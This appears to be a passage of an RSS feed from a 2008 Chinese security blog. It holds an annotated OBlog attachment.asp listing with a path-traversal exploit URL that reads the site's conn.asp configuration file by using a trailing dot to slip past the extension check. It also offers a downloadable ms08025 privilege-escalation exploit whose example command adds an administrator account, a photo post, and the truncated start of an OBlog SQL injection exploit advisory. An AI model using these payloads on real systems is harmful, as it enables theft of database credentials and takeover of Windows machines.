    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">'如果附件为图片的话，当权限检验无法通过则调用一默认图片，防止&lt;img&gt;标记无法调用，影响显示效果 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;Path&nbsp;=&nbsp;</span><span class="string">&quot;&quot;</span><span>&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Status=403 &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;ShowDownErr &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.</span><span class="keyword">End</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Else</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;downloadFile&nbsp;Server.MapPath(blogdir</span><span class="string">&quot;images/oblog_powered.gif&quot;</span><span>),1 &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;if &nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">End</span><span>&nbsp;if &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">Set</span><span>&nbsp;oblog&nbsp;=&nbsp;</span><span class="keyword">Nothing</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">Sub</span><span>&nbsp;downloadFile(strFile,stype) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">On</span><span>&nbsp;</span><span class="keyword">Error</span><span>&nbsp;</span><span class="keyword">Resume</span><span>&nbsp;</span><span class="keyword">Next</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Server.ScriptTimeOut=9999999 &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Dim</span><span>&nbsp;S,fso,f,intFilelength,strFilename &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strFilename&nbsp;=&nbsp;strFile &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Clear &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;s&nbsp;=&nbsp;Server.CreateObject(oblog.CacheCompont(2)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.Open &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.Type&nbsp;=&nbsp;1 &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;fso&nbsp;=&nbsp;Server.CreateObject(oblog.CacheCompont(1)) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;</span><span class="keyword">Not</span><span>&nbsp;fso.FileExists(strFilename)&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;stype&nbsp;=&nbsp;0&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Status=404 &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;</span><span class="string">&quot;该附件已经被删除!&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Exit</span><span>&nbsp;</span><span class="keyword">Sub</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Else</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strFilename&nbsp;=&nbsp;Server.MapPath(blogdir</span><span class="string">&quot;images/nopic.gif&quot;</span><span>) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;if &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;f&nbsp;=&nbsp;fso.GetFile(strFilename) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;intFilelength&nbsp;=&nbsp;f.size &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.LoadFromFile(strFilename) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;Err&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(</span><span class="string">&quot;&lt;h1&gt;错误:&nbsp;&lt;/h1&gt;&quot;</span><span>&nbsp;&amp;&nbsp;Err.Description&nbsp;&amp;&nbsp;</span><span class="string">&quot;&lt;p&gt;&quot;</span><span>) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.</span><span class="keyword">End</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;fso=</span><span class="keyword">Nothing</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Dim</span><span>&nbsp;Data &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data=s.Read &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.Close &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;s=</span><span class="keyword">Nothing</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Dim</span><span>&nbsp;ContentType &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select&nbsp;</span><span class="keyword">Case</span><span>&nbsp;LCase(Right(strFile,&nbsp;4)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.asp&quot;</span><span>,</span><span class="string">&quot;.mdb&quot;</span><span>,</span><span class="string">&quot;.config&quot;</span><span>,</span><span class="string">&quot;.js&quot;</span><span>&nbsp;</span><span class="comment">'Tr4c3标注：再看这里，想起来什么来了？对了，前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com/post/306.html]，利用方法也相似，神奇的&quot;.&quot;又派上用场了。 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Exit</span><span>&nbsp;</span><span class="keyword">Sub</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.asf&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;video/x-ms-asf&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.avi&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;video/avi&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.doc&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;application/msword&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.zip&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;application/zip&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.xls&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;application/vnd.ms-excel&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.gif&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;image/gif&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.jpg&quot;</span><span>,&nbsp;</span><span class="string">&quot;jpeg&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;image/jpeg&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.wav&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;audio/wav&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.mp3&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;audio/mpeg3&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.mpg&quot;</span><span>,&nbsp;</span><span class="string">&quot;mpeg&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;video/mpeg&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.rtf&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;application/rtf&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.htm&quot;</span><span>,&nbsp;</span><span class="string">&quot;html&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;text/html&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="string">&quot;.txt&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;text/plain&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Case</span><span>&nbsp;</span><span class="keyword">Else</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ContentType&nbsp;=&nbsp;</span><span class="string">&quot;application/octet-stream&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;select &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;Response.IsClientConnected&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;</span><span class="keyword">Not</span><span>&nbsp;(InStr(LCase(f.name),</span><span class="string">&quot;.gif&quot;</span><span>)&gt;0&nbsp;</span><span class="keyword">Or</span><span>&nbsp;InStr(LCase(f.name),</span><span class="string">&quot;.jpg&quot;</span><span>)&gt;0&nbsp;</span><span class="keyword">Or</span><span>&nbsp;InStr(LCase(f.name),</span><span class="string">&quot;.jpeg&quot;</span><span>)&gt;0&nbsp;</span><span class="keyword">Or</span><span>&nbsp;InStr(LCase(f.name),</span><span class="string">&quot;.bmp&quot;</span><span>)&gt;0&nbsp;</span><span class="keyword">Or</span><span>&nbsp;InStr(LCase(f.name),</span><span class="string">&quot;.png&quot;</span><span>)&gt;0&nbsp;)</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.AddHeader&nbsp;</span><span class="string">&quot;Content-Disposition&quot;</span><span>,&nbsp;</span><span class="string">&quot;attachment;&nbsp;filename=&quot;</span><span>&nbsp;&amp;&nbsp;f.name &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.AddHeader&nbsp;</span><span class="string">&quot;Content-Length&quot;</span><span>,&nbsp;intFilelength &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.CharSet&nbsp;=&nbsp;</span><span class="string">&quot;UTF-8&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.ContentType&nbsp;=&nbsp;ContentType &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.BinaryWrite&nbsp;Data &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Flush &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Clear() &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">Sub</span><span>&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>########################################################################<br />
利用方法：<br />
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.<br />
########################################################################<br />
修补建议：<br />
等待官方发布新的补丁程序。<br />
########################################################################<br />
临时解决办法：<br />
将attachment.asp第5行 Path = Trim(Request(&quot;path&quot;)) 改成 Path = Replace(Trim(Request(&quot;path&quot;)),&quot;..&quot;,&quot;&quot;)<br />
########################################################################</p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=5</link>
			<category domain="http://www.tsbct.com/?cid=2">技术文档</category>
			<pubDate>2008-05-01 21:48</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=4</guid>
			<title>ms08025</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>ms08025</p>
<p>&nbsp;</p>
<p>Example:&nbsp;</p>
<p>ms08025.exe&nbsp; &quot;net user&nbsp;tsbct tsbct&nbsp;/add &amp; net localgroup administrators&nbsp;tsbct /add&quot;</p>
<p><a href="http://www.tsbct.com/attachment.php?id=10" title="0 bytes, 下载次数:221" target="_blank">ms08025.rar</a></p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=4</link>
			<category domain="http://www.tsbct.com/?cid=5">资源共享</category>
			<pubDate>2008-04-28 11:03</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=3</guid>
			<title>坐骑首次亮相!!!</title>
			<author>XoL-!</author>
			<description><![CDATA[<p><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=3')" src="http://www.tsbct.com/attachments/date_200804/thumb_624ae71927c6200be420660110e57d47.jpg" width="500" height="375" border="0" alt="大小: 59.48 K 尺寸: 500 x 375 浏览: 9 次点击打开新窗口浏览全图" /></a></p>
<p><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=4')" src="http://www.tsbct.com/attachments/date_200804/thumb_9916fab78c3ab49eadeebd4925fd6e4e.jpg" width="500" height="375" border="0" alt="大小: 64.18 K 尺寸: 500 x 375 浏览: 8 次点击打开新窗口浏览全图" /></a></p>
<p><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=5')" src="http://www.tsbct.com/attachments/date_200804/thumb_68dbd034d81c1678ef0dea76854eac3b.jpg" width="500" height="375" border="0" alt="大小: 69.54 K 尺寸: 500 x 375 浏览: 5 次点击打开新窗口浏览全图" /></a></p>
<p><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=6')" src="http://www.tsbct.com/attachments/date_200804/thumb_700a33afe0afc39039ac634b73234d85.jpg" width="500" height="375" border="0" alt="大小: 64.73 K 尺寸: 500 x 375 浏览: 7 次点击打开新窗口浏览全图" /></a></p>
<p><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=7')" src="http://www.tsbct.com/attachments/date_200804/thumb_e9486438a834dd187542e95c3127ddbd.jpg" width="500" height="375" border="0" alt="大小: 65.84 K 尺寸: 500 x 375 浏览: 2 次点击打开新窗口浏览全图" /></a></p>
<p><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=8')" src="http://www.tsbct.com/attachments/date_200804/thumb_8f91b6e37e1202c1c408ea7d739235c4.jpg" width="500" height="375" border="0" alt="大小: 35.97 K 尺寸: 500 x 375 浏览: 2 次点击打开新窗口浏览全图" /></a></p>
<p><a href="#zoom"><img onclick="zoom(this,'http://www.tsbct.com/attachment.php?id=9')" src="http://www.tsbct.com/attachments/date_200804/thumb_d4b7e2ee2a347e31e7bb31b2455909f4.jpg" width="500" height="375" border="0" alt="大小: 66.13 K 尺寸: 500 x 375 浏览: 1 次点击打开新窗口浏览全图" /></a></p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=3</link>
			<category domain="http://www.tsbct.com/?cid=1">生活随笔</category>
			<pubDate>2008-04-28 08:52</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=2</guid>
			<title>OBlog Sql Injection Vulnerability</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>官方已经修正该漏洞。</p>
<p class="code">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--==+===================&nbsp;www.nspcn.org&nbsp;=================+==--<br />
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OBlog&nbsp;(tags.asp)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--<br />
--==+====================================================================================+==--<br />
<br />
#Author:&nbsp;Whytt&nbsp;&amp;&nbsp;Tr4c3[at]126[dot]com&nbsp;<br />
